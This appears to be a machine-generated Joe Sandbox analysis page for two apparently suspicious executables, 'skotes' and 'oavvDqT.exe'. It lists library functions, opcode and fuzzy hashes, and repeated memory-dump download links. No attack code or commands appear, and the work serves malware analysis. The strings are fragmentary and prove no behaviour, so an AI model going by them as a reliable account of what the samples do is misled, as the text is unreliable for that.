Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74297535b7c30fa1d4e985d987ef892e0623f99319ed3dbfb39732cafab215c1
Instruction ID: 8b8f1b060035085dbd941b63c96dfc09b756c33fff540ac411fefc21e66a4bd5
Opcode Fuzzy Hash: 74297535b7c30fa1d4e985d987ef892e0623f99319ed3dbfb39732cafab215c1
Instruction Fuzzy Hash: 7921B673F2053947770CC47E8C5227DB6E1C78C541745423AE8A6EA2C1D96CD917E2E4

Function 00F2779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9ed7c960e1811fd9dc3eec08f1163ddb54fc692e023cf618a0ceaca4e6b7fc8
Instruction ID: c8abe47fbea119a30b4347869f142f10f084f4a57115ce85c66aa5beccd0470c
Opcode Fuzzy Hash: a9ed7c960e1811fd9dc3eec08f1163ddb54fc692e023cf618a0ceaca4e6b7fc8
Instruction Fuzzy Hash: BD118623F30C395B675C816D8C172BAA5D2EBD825071F533AD826E72C4E9A4DE23D290

Function 00F28860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: d8a5046b507357e57ba46cbd347e9d7128ba1f6317c926050aa6d7b689818f76
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 78115B77A031B243E608862DF8B46F7A395EBD53B17EC437AC0418B748DE22E843B600

Function 00F1652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72a550464c9b0cbe77d9354ad3a4d8970956cdc063446ff826fcfc7d4b421782
Instruction ID: 05076fc9fc198bc8f3dff50e41a2b312206a1c8a2332c0aa40212e9de98fbeb2
Opcode Fuzzy Hash: 72a550464c9b0cbe77d9354ad3a4d8970956cdc063446ff826fcfc7d4b421782
Instruction Fuzzy Hash: BCE0CD31401248AFDF357B24CD19DD83B1AEF41759F544810FC1886221CB79EDC1DA40

Function 00F1A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 965e4b4951f00d5461ff1775ee52c079cfd4ffa1b3a72540e4d879f0ef090725
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 2DE08C72922228EBCB15DB98C904ACAF3ECEB49B10F65009AF511D3150C274DE40D7D0

Function 00F14840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F14877
___except_validate_context_record.LIBVCRUNTIME ref: 00F1487F
_ValidateLocalCookies.LIBCMT ref: 00F14908
__IsNonwritableInCurrentImage.LIBCMT ref: 00F14933
_ValidateLocalCookies.LIBCMT ref: 00F14988

Strings

csm, xrefs: 00F1491D

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: f715dd2f26735fbec3aadffb23617e91efea66562d3cb3c2469fc0453dbf7624
Instruction ID: 430afe9decfdc16391d4cbddbe7430c6a0e7ced4015a51473b652bb72cc366ed
Opcode Fuzzy Hash: f715dd2f26735fbec3aadffb23617e91efea66562d3cb3c2469fc0453dbf7624
Instruction Fuzzy Hash: F251F830E002089BCF10DF68DC80AEF7BB5AF85334F548055E8189B352D736E996EB91

Function 00EE2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EE2F5F
__Mtx_unlock.LIBCPMT ref: 00EE2FCC
__Cnd_broadcast.LIBCPMT ref: 00EE2FE3
__Mtx_unlock.LIBCPMT ref: 00EE30F5
__Mtx_unlock.LIBCPMT ref: 00EE319B

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: c6b2574049e47a719d7c61e0d111c83c7f096deb2ea1974ff1be4fe3634993d1
Instruction ID: a74032a7a513c92f19e270af8f4add9c58e64381fc22a24c95f0b4cb0a989e7e
Opcode Fuzzy Hash: c6b2574049e47a719d7c61e0d111c83c7f096deb2ea1974ff1be4fe3634993d1
Instruction Fuzzy Hash: ABA1F270A0164D9FEB20DF76C94876AB7E8FF15318F209129E915F7241EB31DA04CB91

Function 00F1CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F1CC66

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 42ab3555e35fbfa9aa9e0845f40f3bb6dd30284ec2cc38d229e8897d4e9a8e8c
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 87B15432D442959FDB15CF28C8817FEBBE5EF45350F14816AE854EB242D6389D82EBE0

Function 00EFBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EFBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EFBBE4
_xtime_get.LIBCPMT ref: 00EFBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EFBC13

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 2d94b4d219e99ae7de45722d8753362c8743453e07ec930dcf3bbd0a81ca3507
Instruction ID: 87ffb04c31d99a6780753a4c3dc27b6cca9a4e22333a6017999ee01ba03b36a8
Opcode Fuzzy Hash: 2d94b4d219e99ae7de45722d8753362c8743453e07ec930dcf3bbd0a81ca3507
Instruction Fuzzy Hash: E4211B76A0011DAFDF00EFA4DD819BEB7B9EF48714F611425FA05B72A1DB309D019BA0

Analysis Process: oavvDqT.exePID: 1912, Parent PID: 7236COMMON

Non-executed Functions

Function 001C3530 Relevance: 11.4, Strings: 9, Instructions: 172COMMON

Download Yara Rule

Strings

runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=transform: input and output are not identicaltransitioning GC to the same state as before?tried to run scavenger from another goroutineunsafe.String: ptr is nil and len i, xrefs: 001C37BC
runtime.minit: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextptimezone hour outside of range [0,23]too many Additionals to pack (>65535)t, xrefs: 001C384B
VirtualQuery for stack base failed^(.*)\s+$(.+):(-?[[:digit:]]+)$$__gnu_cxx::new_allocator::allocateadding nil Certificate to CertPoolcrypto/aes: invalid buffer overlapcrypto/rsa: missing public modulusdoaddtimer: P already set in timerforEachP: sched.safePo, xrefs: 001C3795
runtime: g0 stack [runtime: pcdata is runtime: preempt g0runtime\.call[0-9]*semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtc_newarray_nothrowtoo many open filestoo much pixel dataunexpected g statusunknown Go type: %vunknown certi, xrefs: 001C36CB
bad g0 stackbad recoverybarbwire.flfbigchief.flfblacksquare;bulbhead.flfcalgphy2.flfcaller errorcan't happencas64 failedchan receivecircledcirc;circleddash;close notifycoinstak.flfcolossal.flfcomputer.flfcontent-typecontessa.flfcontext.TODOcontrast.flfcurlyeqp, xrefs: 001C373A
runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=transform: input and output are not identicaltransitioning GC to the same state as before?tried to run scavenger from another, xrefs: 001C3817
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:, xrefs: 001C3761
%, xrefs: 001C3854
CreateWaitableTimerEx when creating timer failedbufio: writer returned negative count from Writecould not find GetSystemTimeAsFileTime() syscalldivision of zero by zero or infinity by infinityfail to read symbol table: %d aux symbols unreadinvalid certificate , xrefs: 001C37F0

Memory Dump Source

Source File: 00000009.00000002.2341868412.0000000000191000.00000020.00000001.01000000.00000009.sdmp, Offset: 00190000, based on PE: true

Associated: 00000009.00000002.2341813427.0000000000190000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343075199.0000000000452000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343075199.000000000054A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343868672.000000000072A000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343911986.000000000072B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2343962222.0000000000732000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344001960.0000000000733000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344041000.0000000000734000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344159588.00000000007B6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344194278.00000000007B7000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344252692.00000000007B8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344305383.00000000007BA000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344355859.00000000007BB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344404313.00000000007BD000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007D1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007F9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2344473579.00000000007FD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345281764.0000000000800000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000801000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000827000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000C69000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000CCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000D0A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000D49000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000DE6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000EC4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000F65000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000F72000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000F83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000000FC2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000001009000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000001185000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.000000000119C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.00000000011B2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2345384339.0000000001237000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_190000_oavvDqT.jbxd

Similarity

API ID:
String ID: %$CreateWaitableTimerEx when creating timer failedbufio: writer returned negative count from Writecould not find GetSystemTimeAsFileTime() syscalldivision of zero by zero or infinity by infinityfail to read symbol table: %d aux symbols unreadinvalid certificate $VirtualQuery for stack base failed^(.*)\s+$(.+):(-?[[:digit:]]+)$$__gnu_cxx::new_allocator::allocateadding nil Certificate to CertPoolcrypto/aes: invalid buffer overlapcrypto/rsa: missing public modulusdoaddtimer: P already set in timerforEachP: sched.safePo$bad g0 stackbad recoverybarbwire.flfbigchief.flfblacksquare;bulbhead.flfcalgphy2.flfcaller errorcan't happencas64 failedchan receivecircledcirc;circleddash;close notifycoinstak.flfcolossal.flfcomputer.flfcontent-typecontessa.flfcontext.TODOcontrast.flfcurlyeqp$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=transform: input and output are not identicaltransitioning GC to the same state as before?tried to run scavenger from another$runtime.minit: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextptimezone hour outside of range [0,23]too many Additionals to pack (>65535)t$runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=transform: input and output are not identicaltransitioning GC to the same state as before?tried to run scavenger from another goroutineunsafe.String: ptr is nil and len i$runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:$runtime: g0 stack [runtime: pcdata is runtime: preempt g0runtime\.call[0-9]*semaRoot rotateLeftskip this directorystopm holding lockssysMemStat overflowtc_newarray_nothrowtoo many open filestoo much pixel dataunexpected g statusunknown Go type: %vunknown certi
API String ID: 0-2500466687
Opcode ID: 6c56fa9193343849db418ee0ef38a5d78ed06f335ea473e02029749876d1f026
Instruction ID: 8ebde4029d0646185938383379421f93965f9310dbde4cdbc785a4108e1ca237
Opcode Fuzzy Hash: 6c56fa9193343849db418ee0ef38a5d78ed06f335ea473e02029749876d1f026
Instruction Fuzzy Hash: 7081E3B45097419FD300EF64D185B5ABBE0BFA8704F01892DF4988B392EB78D945CF66

Function 001D3580 Relevance: 5.1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

Strings

m->p= max= min= next= null p->m= prev= span=% util%%%02x%s: %s%v: %s(...), i = , not , val .local.onion.reloc390625<-chanAElig;AacuteAcirc;AgraveAlpha;Amacr;AnswerAogon;ArabicAring;AtildeAugustBrahmiBreve;CANCELCarianCcedilCcirc;ChakmaColon;CommonCopticCr, xrefs: 001D363B
releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontoo many, xrefs: 001D36D1
